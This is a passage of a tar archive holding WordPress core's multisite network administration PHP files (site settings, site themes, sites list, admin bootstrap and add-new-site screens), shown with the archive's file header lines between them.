if ( isset( $_REQUEST['action'] ) && 'update-site' === $_REQUEST['action'] && is_array( $_POST['option'] ) ) {
	check_admin_referer( 'edit-site' );

	switch_to_blog( $id );

	$skip_options = array( 'allowedthemes' ); // Don't update these options since they are handled elsewhere in the form.
	foreach ( (array) $_POST['option'] as $key => $val ) {
		$key = wp_unslash( $key );
		$val = wp_unslash( $val );
		if ( 0 === $key || is_array( $val ) || in_array( $key, $skip_options, true ) ) {
			continue; // Avoids "0 is a protected WP option and may not be modified" error when editing blog options.
		}
		update_option( $key, $val );
	}

	/**
	 * Fires after the site options are updated.
	 *
	 * @since 3.0.0
	 * @since 4.4.0 Added `$id` parameter.
	 *
	 * @param int $id The ID of the site being updated.
	 */
	do_action( 'wpmu_update_blog_options', $id );

	restore_current_blog();
	wp_redirect(
		add_query_arg(
			array(
				'update' => 'updated',
				'id'     => $id,
			),
			'site-settings.php'
		)
	);
	exit;
}

if ( isset( $_GET['update'] ) ) {
	$messages = array();
	if ( 'updated' === $_GET['update'] ) {
		$messages[] = __( 'Site options updated.' );
	}
}

// Used in the HTML title tag.
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );

$parent_file  = 'sites.php';
$submenu_file = 'sites.php';

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1 id="edit-site"><?php echo $title; ?></h1>
<p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p>

<?php

network_edit_site_nav(
	array(
		'blog_id'  => $id,
		'selected' => 'site-settings',
	)
);

if ( ! empty( $messages ) ) {
	$notice_args = array(
		'type'        => 'success',
		'dismissible' => true,
		'id'          => 'message',
	);

	foreach ( $messages as $msg ) {
		wp_admin_notice( $msg, $notice_args );
	}
}
?>
<form method="post" action="site-settings.php?action=update-site">
	<?php wp_nonce_field( 'edit-site' ); ?>
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
	<table class="form-table" role="presentation">
		<?php
		$blog_prefix = $wpdb->get_blog_prefix( $id );
		$sql         = "SELECT * FROM {$blog_prefix}options
			WHERE option_name NOT LIKE %s
			AND option_name NOT LIKE %s";
		$query       = $wpdb->prepare(
			$sql,
			$wpdb->esc_like( '_' ) . '%',
			'%' . $wpdb->esc_like( 'user_roles' )
		);
		$options     = $wpdb->get_results( $query );

		foreach ( $options as $option ) {
			if ( 'default_role' === $option->option_name ) {
				$editblog_default_role = $option->option_value;
			}

			$disabled = false;
			$class    = 'all-options';

			if ( is_serialized( $option->option_value ) ) {
				if ( is_serialized_string( $option->option_value ) ) {
					$option->option_value = esc_html( maybe_unserialize( $option->option_value ) );
				} else {
					$option->option_value = 'SERIALIZED DATA';
					$disabled             = true;
					$class                = 'all-options disabled';
				}
			}

			if ( str_contains( $option->option_value, "\n" ) ) {
				?>
				<tr class="form-field">
					<th scope="row"><label for="<?php echo esc_attr( $option->option_name ); ?>" class="code"><?php echo esc_html( $option->option_name ); ?></label></th>
					<td><textarea class="<?php echo $class; ?>" rows="5" cols="40" name="option[<?php echo esc_attr( $option->option_name ); ?>]" id="<?php echo esc_attr( $option->option_name ); ?>"<?php disabled( $disabled ); ?>><?php echo esc_textarea( $option->option_value ); ?></textarea></td>
				</tr>
				<?php
			} else {
				?>
				<tr class="form-field">
					<th scope="row"><label for="<?php echo esc_attr( $option->option_name ); ?>" class="code"><?php echo esc_html( $option->option_name ); ?></label></th>
					<?php if ( $is_main_site && in_array( $option->option_name, array( 'siteurl', 'home' ), true ) ) { ?>
					<td><code><?php echo esc_html( $option->option_value ); ?></code></td>
					<?php } else { ?>
					<td><input class="<?php echo $class; ?>" name="option[<?php echo esc_attr( $option->option_name ); ?>]" type="text" id="<?php echo esc_attr( $option->option_name ); ?>" value="<?php echo esc_attr( $option->option_value ); ?>" size="40" <?php disabled( $disabled ); ?> /></td>
					<?php } ?>
				</tr>
				<?php
			}
		} // End foreach.

		/**
		 * Fires at the end of the Edit Site form, before the submit button.
		 *
		 * @since 3.0.0
		 *
		 * @param int $id Site ID.
		 */
		do_action( 'wpmueditblogaction', $id );
		?>
	</table>
	<?php submit_button(); ?>
</form>

</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
theme-install.php000064400000000566150276372430010043 0ustar00<?php
/**
 * Install theme network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

if ( isset( $_GET['tab'] ) && ( 'theme-information' === $_GET['tab'] ) ) {
	define( 'IFRAME_REQUEST', true );
}

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/theme-install.php';
site-themes.php000064400000015324150276372430007522 0ustar00<?php
/**
 * Edit Site Themes Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to manage themes for this site.' ) );
}

get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter site themes list' ),
		'heading_pagination' => __( 'Site themes list navigation' ),
		'heading_list'       => __( 'Site themes list' ),
	)
);

$wp_list_table = _get_list_table( 'WP_MS_Themes_List_Table' );

$action = $wp_list_table->current_action();

$s = isset( $_REQUEST['s'] ) ? $_REQUEST['s'] : '';

// Clean up request URI from temporary args for screen options/paging uri's to work as expected.
$temp_args              = array( 'enabled', 'disabled', 'error' );
$_SERVER['REQUEST_URI'] = remove_query_arg( $temp_args, $_SERVER['REQUEST_URI'] );
$referer                = remove_query_arg( $temp_args, wp_get_referer() );

if ( ! empty( $_REQUEST['paged'] ) ) {
	$referer = add_query_arg( 'paged', (int) $_REQUEST['paged'], $referer );
}

$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;

if ( ! $id ) {
	wp_die( __( 'Invalid site ID.' ) );
}

$wp_list_table->prepare_items();

$details = get_site( $id );
if ( ! $details ) {
	wp_die( __( 'The requested site does not exist.' ) );
}

if ( ! can_edit_network( $details->site_id ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$is_main_site = is_main_site( $id );

if ( $action ) {
	switch_to_blog( $id );
	$allowed_themes = get_option( 'allowedthemes' );

	switch ( $action ) {
		case 'enable':
			check_admin_referer( 'enable-theme_' . $_GET['theme'] );
			$theme  = $_GET['theme'];
			$action = 'enabled';
			$n      = 1;
			if ( ! $allowed_themes ) {
				$allowed_themes = array( $theme => true );
			} else {
				$allowed_themes[ $theme ] = true;
			}
			break;
		case 'disable':
			check_admin_referer( 'disable-theme_' . $_GET['theme'] );
			$theme  = $_GET['theme'];
			$action = 'disabled';
			$n      = 1;
			if ( ! $allowed_themes ) {
				$allowed_themes = array();
			} else {
				unset( $allowed_themes[ $theme ] );
			}
			break;
		case 'enable-selected':
			check_admin_referer( 'bulk-themes' );
			if ( isset( $_POST['checked'] ) ) {
				$themes = (array) $_POST['checked'];
				$action = 'enabled';
				$n      = count( $themes );
				foreach ( (array) $themes as $theme ) {
					$allowed_themes[ $theme ] = true;
				}
			} else {
				$action = 'error';
				$n      = 'none';
			}
			break;
		case 'disable-selected':
			check_admin_referer( 'bulk-themes' );
			if ( isset( $_POST['checked'] ) ) {
				$themes = (array) $_POST['checked'];
				$action = 'disabled';
				$n      = count( $themes );
				foreach ( (array) $themes as $theme ) {
					unset( $allowed_themes[ $theme ] );
				}
			} else {
				$action = 'error';
				$n      = 'none';
			}
			break;
		default:
			if ( isset( $_POST['checked'] ) ) {
				check_admin_referer( 'bulk-themes' );
				$themes = (array) $_POST['checked'];
				$n      = count( $themes );
				$screen = get_current_screen()->id;

				/**
				 * Fires when a custom bulk action should be handled.
				 *
				 * The redirect link should be modified with success or failure feedback
				 * from the action to be used to display feedback to the user.
				 *
				 * The dynamic portion of the hook name, `$screen`, refers to the current screen ID.
				 *
				 * @since 4.7.0
				 *
				 * @param string $redirect_url The redirect URL.
				 * @param string $action       The action being taken.
				 * @param array  $items        The items to take the action on.
				 * @param int    $site_id      The site ID.
				 */
				$referer = apply_filters( "handle_network_bulk_actions-{$screen}", $referer, $action, $themes, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
			} else {
				$action = 'error';
				$n      = 'none';
			}
	}

	update_option( 'allowedthemes', $allowed_themes );
	restore_current_blog();

	wp_safe_redirect(
		add_query_arg(
			array(
				'id'    => $id,
				$action => $n,
			),
			$referer
		)
	);
	exit;
}

if ( isset( $_GET['action'] ) && 'update-site' === $_GET['action'] ) {
	wp_safe_redirect( $referer );
	exit;
}

add_thickbox();
add_screen_option( 'per_page' );

// Used in the HTML title tag.
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );

$parent_file  = 'sites.php';
$submenu_file = 'sites.php';

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
<h1 id="edit-site"><?php echo $title; ?></h1>
<p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p>
<?php

network_edit_site_nav(
	array(
		'blog_id'  => $id,
		'selected' => 'site-themes',
	)
);

if ( isset( $_GET['enabled'] ) ) {
	$enabled = absint( $_GET['enabled'] );
	if ( 1 === $enabled ) {
		$message = __( 'Theme enabled.' );
	} else {
		/* translators: %s: Number of themes. */
		$message = _n( '%s theme enabled.', '%s themes enabled.', $enabled );
	}

	wp_admin_notice(
		sprintf( $message, number_format_i18n( $enabled ) ),
		array(
			'type'        => 'success',
			'dismissible' => true,
			'id'          => 'message',
		)
	);
} elseif ( isset( $_GET['disabled'] ) ) {
	$disabled = absint( $_GET['disabled'] );
	if ( 1 === $disabled ) {
		$message = __( 'Theme disabled.' );
	} else {
		/* translators: %s: Number of themes. */
		$message = _n( '%s theme disabled.', '%s themes disabled.', $disabled );
	}

	wp_admin_notice(
		sprintf( $message, number_format_i18n( $disabled ) ),
		array(
			'type'        => 'success',
			'dismissible' => true,
			'id'          => 'message',
		)
	);
} elseif ( isset( $_GET['error'] ) && 'none' === $_GET['error'] ) {
	wp_admin_notice(
		__( 'No theme selected.' ),
		array(
			'type'        => 'error',
			'dismissible' => true,
			'id'          => 'message',
		)
	);
}
?>

<p><?php _e( 'Network enabled themes are not shown on this screen.' ); ?></p>

<form method="get">
<?php $wp_list_table->search_box( __( 'Search Installed Themes' ), 'theme' ); ?>
<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
</form>

<?php $wp_list_table->views(); ?>

<form method="post" action="site-themes.php?action=update-site">
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />

<?php $wp_list_table->display(); ?>

</form>

</div>
<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
admin.php000064400000002000150276372430006346 0ustar00<?php
/**
 * WordPress Network Administration Bootstrap
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

define( 'WP_NETWORK_ADMIN', true );

/** Load WordPress Administration Bootstrap */
require_once dirname( __DIR__ ) . '/admin.php';

// Do not remove this check. It is required by individual network admin pages.
if ( ! is_multisite() ) {
	wp_die( __( 'Multisite support is not enabled.' ) );
}

$redirect_network_admin_request = ( 0 !== strcasecmp( $current_blog->domain, $current_site->domain ) || 0 !== strcasecmp( $current_blog->path, $current_site->path ) );

/**
 * Filters whether to redirect the request to the Network Admin.
 *
 * @since 3.2.0
 *
 * @param bool $redirect_network_admin_request Whether the request should be redirected.
 */
$redirect_network_admin_request = apply_filters( 'redirect_network_admin_request', $redirect_network_admin_request );

if ( $redirect_network_admin_request ) {
	wp_redirect( network_admin_url() );
	exit;
}

unset( $redirect_network_admin_request );
sites.php000064400000031777150276372430006434 0ustar00<?php
/**
 * Multisite sites administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$wp_list_table = _get_list_table( 'WP_MS_Sites_List_Table' );
$pagenum       = $wp_list_table->get_pagenum();

// Used in the HTML title tag.
$title       = __( 'Sites' );
$parent_file = 'sites.php';

add_screen_option( 'per_page' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'Add New takes you to the Add New Site screen. You can search for a site by Name, ID number, or IP address. Screen Options allows you to choose how many sites to display on one page.' ) . '</p>' .
			'<p>' . __( 'This is the main table of all sites on this network. Switch between list and excerpt views by using the icons above the right side of the table.' ) . '</p>' .
			'<p>' . __( 'Hovering over each site reveals seven options (three for the primary site):' ) . '</p>' .
			'<ul><li>' . __( 'An Edit link to a separate Edit Site screen.' ) . '</li>' .
			'<li>' . __( 'Dashboard leads to the Dashboard for that site.' ) . '</li>' .
			'<li>' . __( 'Deactivate, Archive, and Spam which lead to confirmation screens. These actions can be reversed later.' ) . '</li>' .
			'<li>' . __( 'Delete which is a permanent action after the confirmation screens.' ) . '</li>' .
			'<li>' . __( 'Visit to go to the front-end site live.' ) . '</li></ul>' .
			'<p>' . __( 'The site ID is used internally, and is not shown on the front end of the site or to users/viewers.' ) . '</p>' .
			'<p>' . __( 'Clicking on bold headings can re-sort this table.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/network-admin-sites-screen/">Documentation on Site Management</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>'
);

get_current_screen()->set_screen_reader_content(
	array(
		'heading_pagination' => __( 'Sites list navigation' ),
		'heading_list'       => __( 'Sites list' ),
	)
);

$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;

if ( isset( $_GET['action'] ) ) {
	/** This action is documented in wp-admin/network/edit.php */
	do_action( 'wpmuadminedit' );

	// A list of valid actions and their associated messaging for confirmation output.
	$manage_actions = array(
		/* translators: %s: Site URL. */
		'activateblog'   => __( 'You are about to activate the site %s.' ),
		/* translators: %s: Site URL. */
		'deactivateblog' => __( 'You are about to deactivate the site %s.' ),
		/* translators: %s: Site URL. */
		'unarchiveblog'  => __( 'You are about to unarchive the site %s.' ),
		/* translators: %s: Site URL. */
		'archiveblog'    => __( 'You are about to archive the site %s.' ),
		/* translators: %s: Site URL. */
		'unspamblog'     => __( 'You are about to unspam the site %s.' ),
		/* translators: %s: Site URL. */
		'spamblog'       => __( 'You are about to mark the site %s as spam.' ),
		/* translators: %s: Site URL. */
		'deleteblog'     => __( 'You are about to delete the site %s.' ),
		/* translators: %s: Site URL. */
		'unmatureblog'   => __( 'You are about to mark the site %s as mature.' ),
		/* translators: %s: Site URL. */
		'matureblog'     => __( 'You are about to mark the site %s as not mature.' ),
	);

	if ( 'confirm' === $_GET['action'] ) {
		// The action2 parameter contains the action being taken on the site.
		$site_action = $_GET['action2'];

		if ( ! array_key_exists( $site_action, $manage_actions ) ) {
			wp_die( __( 'The requested action is not valid.' ) );
		}

		// The mature/unmature UI exists only as external code. Check the "confirm" nonce for backward compatibility.
		if ( 'matureblog' === $site_action || 'unmatureblog' === $site_action ) {
			check_admin_referer( 'confirm' );
		} else {
			check_admin_referer( $site_action . '_' . $id );
		}

		if ( ! headers_sent() ) {
			nocache_headers();
			header( 'Content-Type: text/html; charset=utf-8' );
		}

		if ( is_main_site( $id ) ) {
			wp_die( __( 'Sorry, you are not allowed to change the current site.' ) );
		}

		$site_details = get_site( $id );
		$site_address = untrailingslashit( $site_details->domain . $site_details->path );

		require_once ABSPATH . 'wp-admin/admin-header.php';
		?>
			<div class="wrap">
				<h1><?php _e( 'Confirm your action' ); ?></h1>
				<form action="sites.php?action=<?php echo esc_attr( $site_action ); ?>" method="post">
					<input type="hidden" name="action" value="<?php echo esc_attr( $site_action ); ?>" />
					<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
					<input type="hidden" name="_wp_http_referer" value="<?php echo esc_attr( wp_get_referer() ); ?>" />
					<?php wp_nonce_field( $site_action . '_' . $id, '_wpnonce', false ); ?>
					<p><?php printf( $manage_actions[ $site_action ], $site_address ); ?></p>
					<?php submit_button( __( 'Confirm' ), 'primary' ); ?>
				</form>
			</div>
		<?php
		require_once ABSPATH . 'wp-admin/admin-footer.php';
		exit;
	} elseif ( array_key_exists( $_GET['action'], $manage_actions ) ) {
		$action = $_GET['action'];
		check_admin_referer( $action . '_' . $id );
	} elseif ( 'allblogs' === $_GET['action'] ) {
		check_admin_referer( 'bulk-sites' );
	}

	$updated_action = '';

	switch ( $_GET['action'] ) {

		case 'deleteblog':
			if ( ! current_user_can( 'delete_sites' ) ) {
				wp_die( __( 'Sorry, you are not allowed to access this page.' ), '', array( 'response' => 403 ) );
			}

			$updated_action = 'not_deleted';
			if ( 0 !== $id && ! is_main_site( $id ) && current_user_can( 'delete_site', $id ) ) {
				wpmu_delete_blog( $id, true );
				$updated_action = 'delete';
			}
			break;

		case 'delete_sites':
			check_admin_referer( 'ms-delete-sites' );

			foreach ( (array) $_POST['site_ids'] as $site_id ) {
				$site_id = (int) $site_id;

				if ( is_main_site( $site_id ) ) {
					continue;
				}

				if ( ! current_user_can( 'delete_site', $site_id ) ) {
					$site         = get_site( $site_id );
					$site_address = untrailingslashit( $site->domain . $site->path );

					wp_die(
						sprintf(
							/* translators: %s: Site URL. */
							__( 'Sorry, you are not allowed to delete the site %s.' ),
							$site_address
						),
						403
					);
				}

				$updated_action = 'all_delete';
				wpmu_delete_blog( $site_id, true );
			}
			break;

		case 'allblogs':
			if ( isset( $_POST['action'] ) && isset( $_POST['allblogs'] ) ) {
				$doaction = $_POST['action'];

				foreach ( (array) $_POST['allblogs'] as $site_id ) {
					$site_id = (int) $site_id;

					if ( 0 !== $site_id && ! is_main_site( $site_id ) ) {
						switch ( $doaction ) {
							case 'delete':
								require_once ABSPATH . 'wp-admin/admin-header.php';
								?>
								<div class="wrap">
									<h1><?php _e( 'Confirm your action' ); ?></h1>
									<form action="sites.php?action=delete_sites" method="post">
										<input type="hidden" name="action" value="delete_sites" />
										<input type="hidden" name="_wp_http_referer" value="<?php echo esc_attr( wp_get_referer() ); ?>" />
										<?php wp_nonce_field( 'ms-delete-sites', '_wpnonce', false ); ?>
										<p><?php _e( 'You are about to delete the following sites:' ); ?></p>
										<ul class="ul-disc">
											<?php
											foreach ( $_POST['allblogs'] as $site_id ) :
												$site_id = (int) $site_id;

												$site         = get_site( $site_id );
												$site_address = untrailingslashit( $site->domain . $site->path );
												?>
												<li>
													<?php echo $site_address; ?>
													<input type="hidden" name="site_ids[]" value="<?php echo esc_attr( $site_id ); ?>" />
												</li>
											<?php endforeach; ?>
										</ul>
										<?php submit_button( __( 'Confirm' ), 'primary' ); ?>
									</form>
								</div>
								<?php
								require_once ABSPATH . 'wp-admin/admin-footer.php';
								exit;
							break;

							case 'spam':
							case 'notspam':
								$updated_action = ( 'spam' === $doaction ) ? 'all_spam' : 'all_notspam';
								update_blog_status( $site_id, 'spam', ( 'spam' === $doaction ) ? '1' : '0' );
								break;
						}
					} else {
						wp_die( __( 'Sorry, you are not allowed to change the current site.' ) );
					}
				}

				if ( ! in_array( $doaction, array( 'delete', 'spam', 'notspam' ), true ) ) {
					$redirect_to = wp_get_referer();
					$blogs       = (array) $_POST['allblogs'];

					/** This action is documented in wp-admin/network/site-themes.php */
					$redirect_to = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $redirect_to, $doaction, $blogs, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

					wp_safe_redirect( $redirect_to );
					exit;
				}
			} else {
				// Process query defined by WP_MS_Site_List_Table::extra_table_nav().
				$location = remove_query_arg(
					array( '_wp_http_referer', '_wpnonce' ),
					add_query_arg( $_POST, network_admin_url( 'sites.php' ) )
				);

				wp_redirect( $location );
				exit;
			}

			break;

		case 'archiveblog':
		case 'unarchiveblog':
			update_blog_status( $id, 'archived', ( 'archiveblog' === $_GET['action'] ) ? '1' : '0' );
			break;

		case 'activateblog':
			update_blog_status( $id, 'deleted', '0' );

			/**
			 * Fires after a network site is activated.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param int $id The ID of the activated site.
			 */
			do_action( 'activate_blog', $id );
			break;

		case 'deactivateblog':
			/**
			 * Fires before a network site is deactivated.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param int $id The ID of the site being deactivated.
			 */
			do_action( 'deactivate_blog', $id );

			update_blog_status( $id, 'deleted', '1' );
			break;

		case 'unspamblog':
		case 'spamblog':
			update_blog_status( $id, 'spam', ( 'spamblog' === $_GET['action'] ) ? '1' : '0' );
			break;

		case 'unmatureblog':
		case 'matureblog':
			update_blog_status( $id, 'mature', ( 'matureblog' === $_GET['action'] ) ? '1' : '0' );
			break;
	}

	if ( empty( $updated_action ) && array_key_exists( $_GET['action'], $manage_actions ) ) {
		$updated_action = $_GET['action'];
	}

	if ( ! empty( $updated_action ) ) {
		wp_safe_redirect( add_query_arg( array( 'updated' => $updated_action ), wp_get_referer() ) );
		exit;
	}
}

$msg = '';
if ( isset( $_GET['updated'] ) ) {
	$action = $_GET['updated'];

	switch ( $action ) {
		case 'all_notspam':
			$msg = __( 'Sites removed from spam.' );
			break;
		case 'all_spam':
			$msg = __( 'Sites marked as spam.' );
			break;
		case 'all_delete':
			$msg = __( 'Sites deleted.' );
			break;
		case 'delete':
			$msg = __( 'Site deleted.' );
			break;
		case 'not_deleted':
			$msg = __( 'Sorry, you are not allowed to delete that site.' );
			break;
		case 'archiveblog':
			$msg = __( 'Site archived.' );
			break;
		case 'unarchiveblog':
			$msg = __( 'Site unarchived.' );
			break;
		case 'activateblog':
			$msg = __( 'Site activated.' );
			break;
		case 'deactivateblog':
			$msg = __( 'Site deactivated.' );
			break;
		case 'unspamblog':
			$msg = __( 'Site removed from spam.' );
			break;
		case 'spamblog':
			$msg = __( 'Site marked as spam.' );
			break;
		default:
			/**
			 * Filters a specific, non-default, site-updated message in the Network admin.
			 *
			 * The dynamic portion of the hook name, `$action`, refers to the non-default
			 * site update action.
			 *
			 * @since 3.1.0
			 *
			 * @param string $msg The update message. Default 'Settings saved'.
			 */
			$msg = apply_filters( "network_sites_updated_message_{$action}", __( 'Settings saved.' ) );
			break;
	}

	if ( ! empty( $msg ) ) {
		$msg = wp_get_admin_notice(
			$msg,
			array(
				'type'        => 'success',
				'dismissible' => true,
				'id'          => 'message',
			)
		);
	}
}

$wp_list_table->prepare_items();

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
<h1 class="wp-heading-inline"><?php _e( 'Sites' ); ?></h1>

<?php if ( current_user_can( 'create_sites' ) ) : ?>
	<a href="<?php echo esc_url( network_admin_url( 'site-new.php' ) ); ?>" class="page-title-action"><?php echo esc_html__( 'Add New Site' ); ?></a>
<?php endif; ?>

<?php
if ( isset( $_REQUEST['s'] ) && strlen( $_REQUEST['s'] ) ) {
	echo '<span class="subtitle">';
	printf(
		/* translators: %s: Search query. */
		__( 'Search results for: %s' ),
		'<strong>' . esc_html( $s ) . '</strong>'
	);
	echo '</span>';
}
?>

<hr class="wp-header-end">

<?php $wp_list_table->views(); ?>

<?php echo $msg; ?>

<form method="get" id="ms-search" class="wp-clearfix">
<?php $wp_list_table->search_box( __( 'Search Sites' ), 'site' ); ?>
<input type="hidden" name="action" value="blogs" />
</form>

<form id="form-site-list" action="sites.php?action=allblogs" method="post">
	<?php $wp_list_table->display(); ?>
</form>
</div>
<?php

require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
credits.php000064400000000371150276372430006724 0ustar00<?php
/**
 * Network Credits administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.4.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/credits.php';
profile.php000064400000000376150276372430006734 0ustar00<?php
/**
 * User profile network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/profile.php';
site-new.php000064400000022517150276372430007030 0ustar00<?php
/**
 * Add Site Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

/** WordPress Translation Installation API */
require_once ABSPATH . 'wp-admin/includes/translation-install.php';

if ( ! current_user_can( 'create_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to add sites to this network.' ) );
}

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'This screen is for Super Admins to add new sites to the network. This is not affected by the registration settings.' ) . '</p>' .
			'<p>' . __( 'If the admin email for the new site does not exist in the database, a new user will also be created.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/network-admin-sites-screen/">Documentation on Site Management</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>'
);

if ( isset( $_REQUEST['action'] ) && 'add-site' === $_REQUEST['action'] ) {
	check_admin_referer( 'add-blog', '_wpnonce_add-blog' );

	if ( ! is_array( $_POST['blog'] ) ) {
		wp_die( __( 'Cannot create an empty site.' ) );
	}

	$blog   = $_POST['blog'];
	$domain = '';

	$blog['domain'] = trim( $blog['domain'] );
	if ( preg_match( '|^([a-zA-Z0-9-])+$|', $blog['domain'] ) ) {
		$domain = strtolower( $blog['domain'] );
	}

	// If not a subdomain installation, make sure the domain isn't a reserved word.
	if ( ! is_subdomain_install() ) {
		$subdirectory_reserved_names = get_subdirectory_reserved_names();

		if ( in_array( $domain, $subdirectory_reserved_names, true ) ) {
			wp_die(
				sprintf(
					/* translators: %s: Reserved names list. */
					__( 'The following words are reserved for use by WordPress functions and cannot be used as site names: %s' ),
					'<code>' . implode( '</code>, <code>', $subdirectory_reserved_names ) . '</code>'
				)
			);
		}
	}

	$title = $blog['title'];

	$meta = array(
		'public' => 1,
	);

	// Handle translation installation for the new site.
	if ( isset( $_POST['WPLANG'] ) ) {
		if ( '' === $_POST['WPLANG'] ) {
			$meta['WPLANG'] = ''; // en_US
		} elseif ( in_array( $_POST['WPLANG'], get_available_languages(), true ) ) {
			$meta['WPLANG'] = $_POST['WPLANG'];
		} elseif ( current_user_can( 'install_languages' ) && wp_can_install_language_pack() ) {
			$language = wp_download_language_pack( wp_unslash( $_POST['WPLANG'] ) );
			if ( $language ) {
				$meta['WPLANG'] = $language;
			}
		}
	}

	if ( empty( $title ) ) {
		wp_die( __( 'Missing site title.' ) );
	}

	if ( empty( $domain ) ) {
		wp_die( __( 'Missing or invalid site address.' ) );
	}

	if ( isset( $blog['email'] ) && '' === trim( $blog['email'] ) ) {
		wp_die( __( 'Missing email address.' ) );
	}

	$email = sanitize_email( $blog['email'] );
	if ( ! is_email( $email ) ) {
		wp_die( __( 'Invalid email address.' ) );
	}

	if ( is_subdomain_install() ) {
		$newdomain = $domain . '.' . preg_replace( '|^www\.|', '', get_network()->domain );
		$path      = get_network()->path;
	} else {
		$newdomain = get_network()->domain;
		$path      = get_network()->path . $domain . '/';
	}

	$password = 'N/A';
	$user_id  = email_exists( $email );
	if ( ! $user_id ) { // Create a new user with a random password.
		/**
		 * Fires immediately before a new user is created via the network site-new.php page.
		 *
		 * @since 4.5.0
		 *
		 * @param string $email Email of the non-existent user.
		 */
		do_action( 'pre_network_site_new_created_user', $email );

		$user_id = username_exists( $domain );
		if ( $user_id ) {
			wp_die( __( 'The domain or path entered conflicts with an existing username.' ) );
		}
		$password = wp_generate_password( 12, false );
		$user_id  = wpmu_create_user( $domain, $password, $email );
		if ( false === $user_id ) {
			wp_die( __( 'There was an error creating the user.' ) );
		}

		/**
		 * Fires after a new user has been created via the network site-new.php page.
		 *
		 * @since 4.4.0
		 *
		 * @param int $user_id ID of the newly created user.
		 */
		do_action( 'network_site_new_created_user', $user_id );
	}

	$wpdb->hide_errors();
	$id = wpmu_create_blog( $newdomain, $path, $title, $user_id, $meta, get_current_network_id() );
	$wpdb->show_errors();

	if ( ! is_wp_error( $id ) ) {
		if ( ! is_super_admin( $user_id ) && ! get_user_option( 'primary_blog', $user_id ) ) {
			update_user_option( $user_id, 'primary_blog', $id, true );
		}

		wpmu_new_site_admin_notification( $id, $user_id );
		wpmu_welcome_notification( $id, $user_id, $password, $title, array( 'public' => 1 ) );
		wp_redirect(
			add_query_arg(
				array(
					'update' => 'added',
					'id'     => $id,
				),
				'site-new.php'
			)
		);
		exit;
	} else {
		wp_die( $id->get_error_message() );
	}
}

if ( isset( $_GET['update'] ) ) {
	$messages = array();
	if ( 'added' === $_GET['update'] ) {
		$messages[] = sprintf(
			/* translators: 1: Dashboard URL, 2: Network admin edit URL. */
			__( 'Site added. <a href="%1$s">Visit Dashboard</a> or <a href="%2$s">Edit Site</a>' ),
			esc_url( get_admin_url( absint( $_GET['id'] ) ) ),
